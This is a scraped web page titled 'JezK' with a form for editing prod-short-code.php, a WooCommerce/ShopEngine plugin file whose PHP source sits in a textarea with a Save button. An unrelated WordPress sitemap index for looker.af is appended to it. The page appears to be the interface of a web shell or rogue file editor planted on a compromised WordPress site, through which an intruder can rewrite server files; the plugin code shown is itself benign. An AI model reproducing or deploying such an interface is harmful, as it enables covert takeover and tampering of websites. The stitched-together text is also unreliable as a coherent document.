
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: prod-short-code.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace ShopEngine\Widgets;
defined(&#039;ABSPATH&#039;) || exit;

class Prod_Short_Code extends \WC_Shortcode_Products {

	public function __construct($settings = array(), $type = &#039;products&#039;) {

		$this-&gt;settings = $settings;
		$this-&gt;type     = $type;

		$this-&gt;attributes = $this-&gt;parse_attributes([
			&#039;columns&#039;  =&gt; $settings[&#039;shopengine_columns&#039;],
			&#039;rows&#039;     =&gt; $settings[&#039;shopengine_rows&#039;],
			&#039;paginate&#039; =&gt; $settings[&#039;shopengine_paginate&#039;],
			&#039;cache&#039;    =&gt; false,
		]);

		$this-&gt;query_args = $this-&gt;parse_query_args();
	}


	protected function parse_query_args() {

		$query_args = [
			&#039;post_type&#039;           =&gt; &#039;product&#039;,
			&#039;post_status&#039;         =&gt; &#039;publish&#039;,
			&#039;ignore_sticky_posts&#039; =&gt; true,
			&#039;no_found_rows&#039;       =&gt; false === wc_string_to_bool($this-&gt;attributes[&#039;paginate&#039;]),
		];

		$settings = $this-&gt;settings;

		if($settings[&#039;shopengine_paginate&#039;] === &#039;yes&#039;) {
			//phpcs:ignore WordPress.Security.NonceVerification.Recommended -- It&#039;s a fronted user part, not possible to verify nonce here
			$page = empty( $_GET[&#039;product-page&#039;] ) ? 1 : absint($_GET[&#039;product-page&#039;]);

			if ($page &gt; 1) {
				$query_args[&#039;paged&#039;] = $page;
			}

			$ord_arg = WC()-&gt;query-&gt;get_catalog_ordering_args();

			$query_args[&#039;orderby&#039;] = $ord_arg[&#039;orderby&#039;];
			$query_args[&#039;order&#039;]   = $ord_arg[&#039;order&#039;];
		}


		$query_args[&#039;fields&#039;]         = &#039;ids&#039;;
		$query_args[&#039;post_type&#039;]      = &#039;product&#039;;
		$query_args[&#039;posts_per_page&#039;] = intval($settings[&#039;shopengine_columns&#039;] * $settings[&#039;shopengine_rows&#039;]);


		return $query_args;
	}


	protected function get_query_results() {

		$results = parent::get_query_results();

		return $results;
	}
}</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
